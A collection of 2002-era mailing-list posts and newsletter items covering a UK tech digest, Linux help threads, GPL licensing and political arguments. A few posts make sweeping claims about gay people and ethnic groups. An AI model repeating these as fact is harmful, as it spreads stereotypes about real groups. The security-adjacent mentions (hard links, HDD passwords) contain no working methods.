econet: http://www.heyrick.co.uk/econet/misc/tcpip.html ...
... you know, wouldn't a simple 404 attract less attention?:
http://www.ttfn.com/ ... Transformers! Terrorists in disguise!
http://www.tsa.gov/workingwithtsa/aircraft_prohibit.shtm ...
obligatory filk Pie cover: http://home.mchsi.com/~jeffwadler/
... they laughed when I sat down at the VT100 terminal:
http://www.prodikeys.com/ ... and kept laughing, thanks to:
http://www.colorpilot.com/sound.html ...
>> GEEK MEDIA <<
what, *another* http://www.tvgohome.com/ ?
TV>> now that kids are taking over from teachers in RULE THE
SCHOOL (5pm, Fri, BBC1) and redecorating their homes in HOME
ON THEIR OWN (7pm, Sat, ITV), we can't wait for the concept
gameshows where they fly planes, run pubs and perform
lifesaving surgery... Wired UK's Hari Kunzru reappears on
NEWSNIGHT REVIEW (11pm, Fri, BBC2)... and if you like James
"Copland" Mangold's sensitive character study of an overweight
man HEAVY (1.05am, Fri, BBC2), the IMDB also recommends Eddie
Murphy's "The Nutty Professor"... The Beach Boys' "Pet Sounds"
is the subject of ART THAT SHOOK THE WORLD (7.20pm, Sat,
BBC2), even though it doesn't have "Good Vibrations" on it...
Meg Ryan experiments with setting a romantic comedy during the
Gulf War, and where one of the protagonists is dead, in
COURAGE UNDER FIRE (9.15pm, Sat, BBC1)... but we'd skip that -
along with laboured Tim Burton homage MARS ATTACKS! (10.35pm,
Sat, ITV) - in favour of Ensign Ro and Kevin Spacey - together
at last! - in top-notch low-budget office horror SWIMMING WITH
SHARKS (10.50pm, Sat, C5)... Radha "Pitch Black" Mitchell
shows up in Aussie relo-drama LOVE AND OTHER CATASTROPHES
(1.05am, Sat, BBC2)... Matt "Max Headroom" Frewer fails to
halt the downward slide of the "National Lampoon" franchise in
Washington excursion NATIONAL LAMPOON'S SENIOR TRIP (12.30am,
Sat, ITV), compared to acknowledged classics like NATIONAL
LAMPOON'S VACATION (9pm, Tue, C5)... the final of JUNKYARD
WARS (8pm, Mon, C4) offers a taste of where these shows are
going when the teams must build full-size remote-controlled
"combat cars"... while a "I Preferred The Terrorism Of The
1980s" special recreates the SAS - EMBASSY SIEGE (9pm, Thu,
BBC2) - if only everything was as simple as pseudo-'70s
supernatural action comedy GOOD VS EVIL (9pm, Wed, Sci-Fi)...
FILM>> David Cronenberg explains why the "Friday The 13th"
machete murderer is so hard to kill, shortly before he goes up
against two of the chicks from "Gene Roddenberry's Andromeda"
in undemanding self-referential "Alien"-alike JASON X
( http://www.cndb.com/movie.html?title=Jason+X+%282001%29 :
[Lexa "Andromeda" Doig] [is] flat on her back on a table
recuperating, and the camera shows her boobs; [Lisa "Beka
Valentine"] Ryder plays a robot who wants to be more of a
woman [...] her nipples fall off for a little comic relief)...
while the director of "Candyman" and UK hacker classic "Smart
Money" digital-videos drug-fuelled Hollywood self-excoriation
IVANS XTC ( http://www.cndb.com/movie.html?title=ivans+xtc :
[Lisa Enos], who also wrote the screenplay and whose first
film this is, appears in a few full frontal scenes a little
more than a third of the way through)... otherwise it's star-
packed CGI talking animal interspecies romance STUART LITTLE 2
(imdb: sequel/ anthropomorphic/ based-on-novel/ bird/ mouse/
part-computer-animation/ soccer)... or odd-sounding Oirish
period frolic THE ABDUCTION CLUB ( http://www.bbfc.co.uk/ :
Cuts required to sight of 2 men hanging by necks in execution
scene, on grounds of potentially harmful imitable technique,
[in accordance with] category standards and Video Recordings
Act 1984)...
CONFECTIONERY THEORY>> as tastebuds acclimatise to the
acquired tang of DIET COKE LEMON, reader WAYNE WILLIAMS has
been forced to look further afield for his acidic thrills,
proclaiming the "Citrus" version of ROWNTREE'S FRUITSOME
CEREAL BARS "pretty tasty, a bit like a lemon meringue pie in
a bar". Frankly we preferred the "Tropical" and "Red Berry"
variants, though neither as much as the various ALPEN BARS
with "yoghurt" or "chocolate" style toppings - and all for
just twice the fat of ordinary breakfast cereal! In other
most-important-meal-of-the-day news, those eggy "breakfast
pizza" CHICAGO TOWN SCRAMBLES [NTK 2002-04-12] are delicious
(particularly with tomato ketchup), and have been flying off
the shelves in a 2-pack for 99p deal in selected branches of
Sainsbury's... as predicted in NTK 2001-08-10, KFC have taken
advantage of MCDONALD'S weakness in the KITKAT MCFLURRY arena,
and rolled out their identically-sized rival AVALANCHE (also
99p) with a freakish selection of toppings including chocolate
sauce, Cadbury's Flake, M&M's and Starburst Joosters. In a
non-ice-cream-related incident, CHARLOTTE LATIMER was the
first to contact us with a sighting of STARBURST "straight-
out-of-the-1993-naming-dept" FLIPSTERS HARD CANDY (from
30p/pack): "pretty nice hard candies (peach, apple, raspberry
and forest fruits) with a yucky plastic-looking splodge on one
side that purports to offer some kind of creaminess (we
guess)", but still no news yet of the brand's other mutant
offspring: teardrop-shaped FRUITINESSE (from 49p), non-fish-
flavoured gummy SEA MONSTERS (from 99p/bag), and STARBURST
CAKE BARS (UKP1.05 for pack of 5)... and finally, MIKE WALSH
of Finland remained nonplussed with last month's UK sighting
of an imported South African NESTLE SMARTIES IN MILKYBAR
CHOCOLATE, maintaining he bought a White "Ritter Sport" bar
with Smarties in, "in a branch of the (German) Spar chain in
Tenerife in January", and was generally disappointed by its
usability: "Smarties kept falling out", he complains. But
Nestle is innovating over here as well, with the imminent
arrival of WONKA XPLODER and GOLDEN CRUNCHER biscuits (79p/
pack of 6) - replacing underperforming former NTK "Taste
Abominations" WONKA OOMPA sweets - and its first new chocolate
launch in 5 years, solid-looking would-be Dairy Milk-killer
NESTLE DOUBLE CREAM (40p, available from July 29)...
>> SMALL PRINT <<
Need to Know is a useful and interesting UK digest of things that
happened last week or might happen next week. You can read it
on Friday afternoon or print it out then take it home if you have
nothing better to do. It is compiled by NTK from stuff they get sent.
Registered at the Post Office as
'"funny"'
http://www.net-watch.org/1.htm
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Actually, I'd be more inclined to look into:
http://www.theregister.co.uk/content/54/27489.html
Avoiding giving any cash to a certain corporation <g>
P
> -----Original Message-----
> >I'd normally never buy this but the Xbox is Eur300 on IOL's shop, a very
> >large company are making a loss on it and:
> >
> >http://xbox-linux.sourceforge.net/articles.php?aid=1&sub=Press%20Release%
> 3A%20Xbox%20Linux%20Mandrake%209%20Released
> >
> >Mandrake has been released for it.
>
> isn't it ¤250 in Smyths?
>
> don't forget to add to that the modchip, and the time to put it on.
>
> (/me thinks unless you want 3d graphics, www.mini-itx.com is the way to go
> :))
>
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URL: http://www.newsisfree.com/click/-4,8723995,215/
Date: 2002-10-10T03:26:56+01:00
*Conservative party conference:* Iain Duncan Smith will today tell the Tory old
guard to stop sniping at his policy agenda.
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> > Would someone please enlighten me on dependencies / pre-requisites
> > for installation in FreeBSD. The 'official' documentation isn't
particularly
> > explicit about this stuff .... eg 'procmail' is mentioned but without
saying
> > whether or not its essential, & no info provided on whether GNUmake is
> > required or if standard BSD 'make' is OK.
>
> I thought we were quite good about it, in the README file!
>
> procmail is essential *if* you're using (a) SpamAssassin for local
> delivery, (b) not using a milter, and (c) not using a Mail::Audit
> script instead. So probably yes.
>
> BSD make is OK, if Perl generally uses it to build Perl modules.
> SpamAssassin is just anotehr Perl module in that respect.
>
Back to this stuff again ..... searched high & low but definitely nothing
on this system even vaguely resembling a README file for spamassassin.
I have procmail installed but having major problems comprehending the
setup .... would appreciate info on any 'simple english' HOWTo
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I agree w/ ya Tom. That kind of thinking is SO idiotic. Sure, gays are
promiscuous, and so are hets, but I betcha gays are more AIDSphobic than
hets, generally speaking....
C
On Sun, 8 Sep 2002, Tom wrote:
> On Sun, 8 Sep 2002, Eugen Leitl wrote:
>
> --]doesn't look particularly difficult to do.
> --]
> --]Clearly this is not something what hets do, prostitution not taken into
> --]account.
>
> So lets see, hets dont go to swing clubs, meat markets or the like at all?
> Hmm. And being gay means hanging in the bath house being a cum dumpster
> while you listen to the Devine Ms M belt one out for the boys?
>
> Ugh, with thinking like this who needs the bible belt?
>
>
>
>
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On 27 Aug 2002 at 15:00, Rohit Khare wrote:
> DataPower delivers XML acceleration device
> By Scott Tyler Shafer
> August 27, 2002 5:46 am PT
>
Intel also had a similar device a couple of years ago (Netstructure). They have, afaik, abandoned it.
Intel is still in the XML hardware game though. On 8/19 they spun off a company named Tarari. Tarari develops hardware to check the headers of IP packets. Tarari calls
this Layer 7 processing (atop the OSI model). From what I can tell, Tarari plans to combine virus scanning and XML acceleration into a single hardware device.
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I won't be reading email until Sunday night or so. Good luck with
2.40 and don't do anything I wouldn't do. ;-)
- Dan
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URL: http://www.newsisfree.com/click/215,2,215/
Date: 2002-10-03T04:21:05+01:00
Bill Clinton and a tale of two Tonys. *Howard Jacobson* on his first Labour
party conference.
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| Date: Fri, 19 Jul 2002 18:10:40 +0100
| From: Ronan Waide <[email protected]>
|
| On July 19, [email protected] said:
| > this case, [hard links] are being used to provide two quite
| > different namespaces for the same set of files.
|
| Sure, but soft links would do the same. To be honest, I'm trying to
| think of a useful use of hard links right now, and I'm a little
| stumped. There's gotta be some benefit that I'm missing that's
| immediately obvious to everyone.
maybe, maybe not. yonks ago, I seem to recall dmr saying,
or at least alleged to have said, something along the lines
that soft and hard links both make sense in isolation, but
having both does not. if this is even close to correct,
yer in quite good company!
there is at least one notable difference, and a host of minor
ones. the notable difference is the data always exists (and
is apriori accessible) for hard links --- there is no such
thing as a broken link.
I use this fact on occasion to "save" data, via the well-
known attack of hard-linking to a supposedly-temporary file
I want to preserve. the subsequent unlink(2)ing of the
"temporary" file does not destroy the data.
cheers!
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Date: 2002-09-30T23:25:20+01:00
(Some guy with lice)
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On Tue, 27 Aug 2002 10:15:36 -0500 (EST)
Jay Lake <[email protected]> wrote:
<snip>
>Second, one could make the assumption that ancient or future civilizations
>would not be hydrocarbon based. There are alternative fuel sources,
>including seabed methane, biomass and all the usual suspects -- solar,
>hydro etc. Some of these could be exploited on a decidedly low-tech (ie,
>emergent civilization) basis. However, it is difficult to conceive of an
>industrial civilization that doesn't employ wheels, axles and bearings,
>all of which require lubrication. I'm not an engineer (Robin, anyone?) but
>it's my understanding that vegetable lubrication breaks down under stress,
>and that oil or graphite lubricants are the only reasonable choices for
>high temperature/high rotation applications, at least prior to extremely
>advanced modes of chemical synthesis.
This is a good point. There are a lot of alternatives to hydrocarbon
products derived from petroleum, but these have often been developed as
a replacement for petroleum after the technology has been established -
there is a growing industry in plant-derived plastics and lubricants,
but this is to replicate materials that have been previously created
much more easily within the petrochemical industry.
Vegetable-derived lubricants have been used. The Russians used sunflower
oil in the lubrication systems of tanks and trucks during the second world
war, and work is being done in the UK to produce diesel fuel derived from
waste cooking oil from fast-food restaurants.
Jay's correct in his opinion that vegetable oil is not as durable as
petroleum oil, but this is only because of the lack of sophistication
of the chemistry involved. Synthetic fuels and lubricants are continuously
being developed, and I don't see any problems with synthetics ultimately
matching the performance of the more conventional products. As the rock
oil runs out, plant oil derivatives *will* be developed to fill the
gap. In parallel, changes will occur in the designs of the machines to
cope with any changes in performance of the lubricants.
My big concern is if the technology were ever to be lost for some reason.
Re-creating a petrochemical industry from scratch without petrochemicals
(that is, going immediately to plant-based synthetics) would be extremely
difficult, especially if it were necessary to recreate *all* of the
petrochemical-derived products (not just lubricants and fuels). I suspect
that, bearing in mind the ingenuity of the human race, it would happen,
just at a different pace. Imagine an industrial revollution based on,
for example, methane from pig manure, or diesel oil from sunflowers.
All we would then have to do is get used to all the machines smelling
like pig farms and fish and chip shops...
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> > Is the use of "trusted hardware" really worth it ?
>
> Answering that requires fairly complete knowledge of the business
> model. But, in all probability: no, it isn't usually worth it. So, it
> comes down to how difficult you want to make the cracker's job.
>
> > Look at the DVDs.
>
> IIRC, CSS was cracked by reverse-engineering a software player; and
> one where the developers forgot to encrypt the decryption key at that.
This make me wonder about the relative protection of smart cards. They have
an internal procession unit around 4MHz. Can we consider them as trusted
hardware ? The ability to ship smart cards periodicaly uppon cashing of a
monthly subscription fee would not raise too much the cost of "renting" the
system. Smart card do their own self encryption. Can they be used to
decrypt data needed by the system ? The input of the system could me mangled
and the would keep a reference of how long it was in service.
This sounds really feasible but I may be totaly wrong. I may also be wrong
about the safety of a smart card.
What do you think ?
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Hi,
I'm going to be using MySQL in an upcoming project (and probably
buying their support license), and I'm wondering if anyone else
has used any libraries to link a proprietary C++ project to a
MySQL database. From what I can see on the MySQL website, their
MySQL++ library is under the GPL, but there's also some documents
which list it as under the LGPL.
Anyone got any experience with this, or has used a different
library to link C++ and MySQL under Linux?
Regards,
Vin
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Hi folks,
I have just taken delivery of three Acer Travelmate laptops from a project
we funded which has now ended. Problem is there are HDD passwords on them
which I don't have. How could I overwrite these?? Any ideas? I have
limited technical and monetry resources here in the new job so can't be
buying new HDDs for them.
Any Ideas?
Dave
www.davidcrozier.co.uk
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Today an apt-get upgrade holds back php (and submodules, like php-imap).
Running an apt-get install php to see what's up, I get:
# apt-get install php
Processing File Dependencies... Done
Reading Package Lists... Done
Building Dependency Tree... Done
The following extra packages will be installed:
curl-devel imap imap-devel mysql mysql-devel php-imap php-ldap postgresql
postgresql-devel postgresql-libs pspell-devel ucd-snmp-devel
ucd-snmp-utils
unixODBC unixODBC-devel
The following NEW packages will be installed:
curl-devel imap imap-devel mysql mysql-devel postgresql postgresql-devel
postgresql-libs pspell-devel ucd-snmp-devel ucd-snmp-utils unixODBC
unixODBC-devel
The following packages will be upgraded
php php-imap php-ldap
3 packages upgraded, 13 newly installed, 0 to remove(replace) and 1 not
upgraded.
Anyone have an idea what the heck RedHat did here, and why we're now
trying to install a ton of crap I don't want? (I'm hoping someone else
has chased this down and could save me time... ;) )
thx,
-te
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If I want to use tcpd for ftp and only one user will ever ftp but I dont
know what IP that user is because its dialup DHCP how do I setup tcpd for
that user?
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I've found that while my win2k box doesnt care what username/passwd it uses
the linux box wont work except using oceanfree/oceanfree. Whether this is a
machine or oceanfree issue I leave to yourself to decide.
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From: Robert Synnott [mailto:[email protected]]
Sent: 27 July 2002 11:39
To: Liam Bedford; [email protected]
Subject: Re: [ILUG] [OT] Oceanfree Dial-up Number
Actually, they do; though they aren't case sensitive. It seems to have some
trouble wtih PAP/CHAP authentication as well; you might have to do it by
script?
On Friday 26 July 2002 12:37, Liam Bedford wrote:
> On Fri, 26 Jul 2002 12:23:24 +0100
>
> HAMILTON,DAVID (HP-Ireland,ex2) claiming to think:
> > Hi All,
> >
> > I am trying to find the Oceanfree ISDN dialup number for Dublin.
> > http://iiu.taint.org/ appears to be down, or at least I can't get to it,
> > and I don't want to pay oceanfree ¤10 per second for tech support :-).
>
> 01-2434321
> username: oceanfree
> password: oceanfree
>
> don't think the username and password matter much though.
>
> L.
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Hi folks,
I maintain a colocated server on behalf of a small group of individuals,
and am looking at backup solutions. Is it possible to get some sort of low-
end internal tape / other solution that could be used to back up approx. 40
Gigs of data or am I just dreaming? My ISP does offer backups at extra cost
but the only problem with that is, well, the extra cost.
What I was hoping to do was to install some kind of internal tape device,
then swap tapes round every month, so I had an onsite backup of say the
last 24 hours and an offsite backup of the last month. Is this feasible?
I'm beginning to think it isn't. External devices are not an option as part
of the charge for colocation is rackspace.
Thanks,
Ciaran.
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--]> A Green once said that if the Spotted Owl hadn't existed they
--]> would have had to invent it.
--]A Republican once said "I am not a crook".
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Oh great, another round of Lableisms....Let me know when you get back to
real data..
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> I'm not sure what you mean by "let's you and him fight", but it is
> important to remember that England was in control of Ireland
> for 300 years ...
Exactly -- "let's you and him fight" is a
way of dealing with troublesome populations
by moving them next to one another, so they
give each other, and not the Man, grief*.
So by my understanding (and, you all will
understand, with tongue firmly in cheek):
Ireland: Irish? Uppity barbarians overly
fond of "risings". Scots? More uppity
barbarians overly fond of "risings".
Why not plonk down a bunch of the latter
next to the former and kill two birds
with one stone?
Israel: Ex-ottomans? Uppity barbarians
(didn't they help kick out the Ottomans?)
Zionists? Uppity sorts who aren't happy
with perfectly good land in Uganda. Why
not plonk down a bunch of the latter next
to the former and kill two birds with one
stone?
but not:
India: in which the muslims and hindus were
originally intermixed to some degree,
but Partioned due to their own conflict,
not due to English resettlement policy.
Canada: in which the french and english were
already established, and it was just the
balance of power on the continent that
determined events in the colonies. The
Acadians got resettled, but they don't
seem to have been that good for picking
fights with their neighbors, so no one
had them plonked down next door.
-Dave
* this works best with a populace who,
given "one man, one vote", immediately
deduce "one less man, one less vote" --
eh, Magnan?
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Paul, my apologies for being irritable on the subject. I'll tone down
the rhetoric.
Quoting Paul Linehan ([email protected]):
> Indeed - that I actually had understood prior to all this - for
> example commercial entities with trial/limited/crippled editions.
>
> Which is no problem - I don't see why that should be a problem for
> SuSE though - surely the more the merrrier as far as they're
> concerned.
Anything either you or I have to say about their motivation is
speculation. Bearing that disclaimer in mind, here's mine: They make
money from selling boxed sets. They're glad to make some versions
available for almost-unrestricted distribution (not "for value") via CD
duplication or the Internet that they estimate won't substitute for
boxed-set sales.
For example, they _could_ have packaged what I call the "FTP edition"
in ISO9660 images. The fact that they didn't suggests to me that they
see the inconvenience of mirroring FTP Edition i386 files (which, at the
moment, are v. 8.0) as motivation for all but the really determined to
buy boxed sets, instead.
Likewise, they _could_ release a v. 8.0 (current) version of the
"evaluation" single-disk ISO image. Instead, they always keep it
several versions behind. This again seems like an incentive to buy a
boxed set, after "evaluating" SuSE via the ISO image.
Again, the above is my speculation (only) about their motivations. All
we know of a certainty is what permissions they've granted, which are a
bit messy and complex, but nonetheless quite clear.
Those permissions, as a reminder, apply to the SuSE-produced components,
YaST, YaST2, the distribution installer program, and possibly other
utilities that I don't know of. _They_ wrote that code, and have every
right to grant or withhold permissions as suit them best.
> One can suspect what one likes. What I didn't understand was that SuSE
> had proprietary extensions that it wasn't prepared to allow people to
> use under the GPL or even under a FreeBSD style licence.
Hmm, let's slow down, here: There's a persistent misconception that
it's possible to place somebody else's work under a new licence without
his permission. Not so. There is nothing in copyright law that would
make that possible.
The copyright _owner_ has inherent rights in his (e.g., software) work,
and is entitled to issue as many _instances_ of his code under diverse
licences as he wishes. (If he gives you a copy with no licence
statement, there's effectively a default licence by operation of
copyright law. To avoid going into a long digression, let me just say
that it's a proprietary licence by default. That's why, in order to
have open source software at all, there must be an explicit licence
from the copyright holder.)
No Linux distribution _ever_ entails relicensing people's software
without their explicit permission -- since no such relicensing can occur
at all.
You cannot get away with taking SuSE Linux AG's work and redistributing
it under what you claim to be a BSD licence, or the GPL, or anything at
all other than what the copyright owner has specified, because you
simply lack the right to do so. Claiming to do it would be copyright
violation.
> I thought that the model for the likes of SuSE was selling support and
> customisation, rather than what I thought of as the core "product". I
> thought that the likes of Yast came under core - maybe it worked in
> the glory days before, say, 2001 - I can understand that they might
> want to make more money, but the way in which they have done it, seems
> to me, to be be against the spirit of the GPL.
If Stallman and friends at the GPL (let alone Linus Torvalds and kernel
contributors) had intended to prohibit putting GPLed works on the same
CDs as proprietary ones, and selling the result only via retail stores
(plus mail order, etc.) in shrink-wrapped boxes, I'm 100% certain they
could and would have done so.
Guess what? They did not. They didn't even require that anybody give
you copies of the GPLed components, ever, at all. All they did was
require that _if_ you received GPLed software lawfully, then you had to
be able to get matching source code for a limited period, upon request.
Spirit of the GPL, you say? I'd suggest that Stallman and company knew
exactly what they were doing, and that the degree of access to GPLed
software is exactly what they had in mind.
> All I want is the OS and GNU apps. I was under the impression that for
> *_those_* all one needed was to pay for the media and not for the code
> itself?
>
> Ai-je tort?
Mais si.
You are indeed under a misconception, and may want to read the text of
the GPL to verify this fact. The GPL does _not_ entitle you to a copy
of any binary software. Section 2 provides for rights to access to
matching source code _if_ you have lawfully received a copy of a covered
binary. That section provides three alternative mechanisms for the
distributor to provide such access. And SuSE _do_ actually provide
exactly that access.
Or so I think to be the case. If you believe there's some GPLed
codebase that you can lawfully receive from SuSE whose matching source
code they are not making available exactly as required, please tell us
which codebase that is. (That would be SuSE Linux AG's headache, not
any of ours, but it might be interesting to examine.)
> My understanding was that binaries or whatever could be received for
> the cost of the media plus a token of one's appreciation (the latter
> being subject to agreement between the parties) - I was offering a
> bottle of wine plus maybe a pint or two and a chat for a copy - I
> don't know what the going rate is.
Your understanding is almost correct, but not quite. (1) The access
provisions of the GPL concern access to _source code_, not binaries.
(2) It kicks in _only_ for people who've lawfully received covered
binaries. (3) _Covered_ software means instances of codebases actually
placed under the GNU GPL by their copyright owners. The mere act of
placing a piece of software on a CD-ROM with GPLed software doesn't GPL
it.
In fact, the assertion to the contrary is a favourite FUD tactic from
enemies of Linux: They're forever trying to convince software producers
that using GPLed software in any way with their proprietary offerings
will "taint" their copyrights and force them to put their property under
the GPL. It's simply not so.
> If I wanted support from SuSE, that would be a different issue, and
> one for which I would be willing to pay.
That's nice, but they're not _offering_ the exact contents of the boxed
sets free of charge and lawful to duplicate & redistribute, or "borrow".
For one thing, as you will have noticed from my earlier listing of
components, the boxed sets' CD-ROMs include quite a lot of _third-party_
proprietary software. SuSE Linux AG _cannot_ allow you (or your friend)
to hand out copies of that software freely, because it's not theirs in
the first place.
> I have a friend with 7.3 - I think that I'll end up doing that!
If you mean the 3-CD core set of RH 7.3, good. It's a quite decent
distribution. But bear in mind that the RH 7.3 boxed sets include
some other third-party applications whose owners would be very upset to
find them being copied or "borrowed".
> I have now realised this, thanks to your kind explanations. I can
> borrow them, but not copy them?
No.
Look, it's a collection of software, many elements of which may not be
lawfully just given out to multiple people: Your friend installing it,
then _not_ erasing it but merely letting you "borrow" the CDs results in
the product being installed in multiple places. That's unauthorised
copying.
> And, as I've tried to explain, is not the licence terms on, say,
> trials for commercial company x to which I object, it is the way SuSE
> appears, at least to my I.T. peasant self, to have mixed up
> proprietary and open stuff.
Well, if you don't like SuSE, then you probably won't like Caldera
eDesk, Xandros Desktop, Lycoris Deskop LX, Libranet, Lindows, or KRUD,
either. Depending on your criteria, you also might not like Red Hat,
Linux-Mandrake, or Yellow Dog, since all of those have boxed-set retail
sets that include CD-ROMs that may not be publicly redistributed.
(I don't even use SuSE. I'm just trying to clarify the licensing
question.)
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Heh, ten years ago saying the exact same words was most definitely not
"parroting the party line".
It was even less so thirty years ago. My story remains the same, take it
or leave it. I've said the same words to white supremacists as to
suburban leftist punks as to homeys as to French Irish, etc. etc.:
I don't have to agree with anything you say. I *am* obligated to defend
to the death your right to say it. I don't give a rat's ass where you
say it, even in France. I don't care where the political pendulum has
swung currently.
Chuck
On Tuesday, September 17, 2002, at 10:38 AM, Owen Byrne wrote:
> On Tue, Sep 17, 2002 at 10:19:13AM -0700, Chuck Murcko wrote:
>> Probably because we have this pesky 1st Amendment thing here. Still,
>> lots of us in the States have developed a disturbing tendency to shout
>> down or (in recent years) shackle in legal BS opinions, thoughts, and
>> individual behaviors we don't agree with.
>>
>
> Except that parroting the party line doesn't really require much
> freedom of speech. Now if you had posted something from a left of
> center source, you would have been shouted down in flames, buried in
> ad hominem attacks, and probably get your name added to an FBI list.
>
>
> Besides the basic rule in the United States now is "I'll defend your
> rights to say anything you want, but if it isn't appropriately
> neoconish, well, don't expect to work":
>
>
> HHS Seeks Science Advice to Match Bush Views
>
> By Rick Weiss
> Washington Post Staff Writer
> Tuesday, September 17, 2002; Page A01
>
> The Bush administration has begun a broad restructuring of the
> scientific advisory committees that guide federal policy in areas such
> as patients' rights and public health, eliminating some committees
> that were coming to conclusions at odds with the president's views and
> in other cases replacing members with handpicked choices.
> ...
> http://www.washingtonpost.com/wp-dyn/articles/A26554-2002Sep16.html
>
> Owen
>
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I don't know who said the below.
1) Measured in money, you are wrong. Different ethnic groups achieve at
widely different rates. Always have. A lot of research has been done
on that topic, Sowell among others.
2) If you exchanged the population of India and America, in a generation
India would look like America. In Two, America would look like India.
3) As Bob said: 'valuable resources' has notin' to do with it. See
Japan, Hong Kong, Singapore, ...
> >
> > I'm sure that if someone checked the statistics, that the number of
> > "successful" vs. "unsuccessful" (how to define those?) Indian
> > immigrants in the US is statistically similar to the number of
> > successful vs. unsuccessful Scotsmen. I'm not going to, though.
> >
> > India is poor because it always was poor. Unlike other countries
> > in the region (including Ghana, Nigeria, et al) that have emerged
> > from the ashes of Imperialism with strong growth, India is not
> > blessed with a strong base of valuable resources.
>
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Date: Fri, 23 Aug 2002 02:05:19 +0700
From: Robert Elz <[email protected]>
Message-ID: <[email protected]>
When I said ...
| This is from today's cvs
that will translate as "yesterday's" now of course (before the most
recent set of changes (catchup speedups, and so on)).
kre
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On Mon, 2002-08-12 at 12:09, Albert White - SUN Ireland wrote:
> If you want to stop in the middle of that because some condition is set then
> you probably should have used a while loop instead of `for`:
> i:=0
> flag:=false
> while [ i != 100 && flag != true ]
> do
> ....
> # found our special case set flag to jump out of loop
> flag:=true
> ....
> i++;
> done
>
> If you're using a break or similar construct in a while loop then you might
> want to rethink your guard condition.
Good point, I didn't think of that. However, that doesn't help with a
case statement, which IMHO is cleaner than using an if statement if you
have a lot of branches... but then again maybe that should be refactored
away with polymorphism :)
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Hi Matthias,
I think I could do help you out with new plugins package for gkrellm 2.
Would you prefer to keep it as it is now, or package every plugin
separately? The latter would be probably easier to maintain.
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>> If and when we package this, perhaps we should use Barry's trick ...
Greg> It's not a *trick*! It just requires this
Greg> package_dir = {'spambayes': '.'}
Greg> in the setup script.
That has the nasty side effect of placing all .py files in the package.
What about obvious executable scripts (like timtest or hammie)? How can I
keep them out of the package?
Skip
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Quoting Paul Linehan ([email protected]):
> What is the GPL all about then?
(1) I'm sure you are not _actually_ under the delusion that everything
on a typical Linux distribution issued subject to the terms of the GNU
GPL. For one thing, it seems difficult to imagine you _not_ being aware
that XFree86 is under the X/MIT licence, that Perl is under the Perl
Artistic Licence, that Apache is under the Apache licence, and that
numerous BSD utilities are under the BSD licence.
Furthermore, xv, Acrobat Reader, pine, pico, Netscape Communicator, and
a whole slew of other applications typically included aren't under any
open source licence at all, but rather are proprietary.
(2) You seem, in any event, to be under a misconception as to what the
GPL provides, as to code under its umbrella. It says (in part) that
_if_ you have lawfully received a copy of covered binary code, then you
may insist on one of certain forms of access to the matching source
code. Please note that it does _not_ guarantee you any rights
whatsoever if nobody's decided to give you a lawful copy.
> But *_surely_* they cannot BSD Linux? It's not theirs to BSD!
Again, you seem to be under a misconception. If you check, I'm quite
confident you'll see that SuSE are in full compliance with GPL v. 2's
source-code access provisions concerning GPLed code included in their
distribution. And no, nobody has the legal right to alter licence terms
to someone else's copyrighted property. But you have not cited any
reasons to believe that SuSE have done any of those things.
> Fine - nobody can oblige SuSE to do anything other than put up the ftp
> version, but surely they can't prevent a CD owner from burning a copy
> and giving it to me?
See below. You and the CD owner would be committing copyright violation.
SuSE Linux AG are rather unlikely to knock down your door and haul you
down to a judge, if that's what you're asking.
> Nobody can oblige them to give away anything other than ftp - I'm not
> asking for that. I'm asking for somebody who has Linux (GPL'ed) to
> burn a copy for me and give it to me in exchange for a reasonable
> consideration (say, the price of the CDs and a bottle of Frascati or a
> couple of pints?).
You appear confused between Linux the kernel (which is a copyrighted
work to which source code access is guaranteed under the GNU GPL if
you've received a lawful copy of a binary version) and the rather
imprecise concept of a "Linux distribution", which is a number of works
under diverse licence terms collected onto some media.
In the case of SuSE's boxed sets -- which are NOT lawful to duplicate
and redistribute in their entirety -- at least a couple of the
applications on them (YaST, YaST2, and the installer program) are
proprietary copyrighted works of SuSE Linux AG. In the general case,
duplicating and redistributing CD-ROMs containing those works is
copyright infringement. Illegal. No amount of hand-waving about the
GNU GPL is going to change that.
(SuSE permit people to duplicate and redistribute the "evaluation" and
"live-eval" CD editions, despite that fact, as long as it is not "for
value".)
If you want to have a SuSE boxed set to install from, buy one.
> What does the GPL mean now?
Suggestion: Read it. I would guess you've not yet done so.
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> quickie for shell scripters:
> How do I find out the time a file was created at?
There is no canonical test, and the information is not necessarily
available. If you check out how struct stat is defined on your system,
you'll find that only
time_t st_atime; /* Time of last access */
time_t st_mtime; /* Time of last data modification */
time_t st_ctime; /* Time of last file status change */
/* Times measured in seconds since */
/* 00:00:00 UTC, Jan. 1, 1970 */
are available. File status change = i-node status change, it includes
creation, mode change, ownership change etc., so this is what you want
only if the file status wasn't changed since creation.
This information is also shown by ls -lc, but parsing ls' output requires
a bit of effort. I'd rather recommend to write a short C program to access
the file status directly, and output the ctime directly (seconds since
the epoch, i.e. perfect for numerical comparison).
(Another way is to use GNU find -printf with a custom format:
...
%c File's last status change time in the format
returned by the C `ctime' function.
...)
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Working this loose knit fashion is what keeps the Mekons so exciting,
Langford said. "When the Mekons was our whole day job, it became a
drudgery," he said. " Sometimes we get bogged down and trapped. But we're
usually pretty greasy enough to bite our leg off, squirm free and run
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John,
let me guess, you haven't tried the boot parameter root=/dev/hda2 if you
are using lilo??
//Anders//
On Mon, 2002-08-12 at 17:49, John P. Looney wrote:
> I'm getting places.
>
> Turns out that you can't have your /boot filesystem ext3, and the
> /boot/vmlinux.gz file has to be a gzipped vmlinux file (not a vmlinuz one,
> which though obvious...isn't, when you've been hitting your head off a
> wall for a few days).
>
> Also, when you mkfs a filesystem that's called "/boot", as far as the
> redhat /etc/fstab is concerned, it wipes that, so when you boot a rescue
> CD, it doesn't mount /dev/hda1 as /boot, and doesn't inform you of this.
>
> (so, it's dead easy to work away on /mnt/sysimage/boot thinking you are
> working on /dev/hda1, and wondering why no matter what you do, nothing
> changes).
>
> Aaaaanyway. I have it booting the redhat kernel. But, the kernel isn't
> loading root as /dev/hda2 - it keeps mounting /dev/hda1.
>
> Curiously, when I go into the boot prom, an use
>
> "set_params" I can tell it to mount /dev/hda2 as root. But then it uses
> the PROM copy of the kernel (dodgy 2.2.16 kernel), which doesn't know
> ext3, so wants to fsck up my disk.
>
> rdev on the vmlinux file, before gzipping doesn't work. I assume you
> can't run rdev on the gzipped version. Any other ideas on how to tell a
> kernel where it's root fs is ?
>
> Kate
>
>
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On Tue, 2002-08-20 at 12:10, John P. Looney wrote:
> Hmm. Yeah, mutt sorta calls the sendmail program directly. But I thought
> it would be very crap if the auth details (username, password) had to be
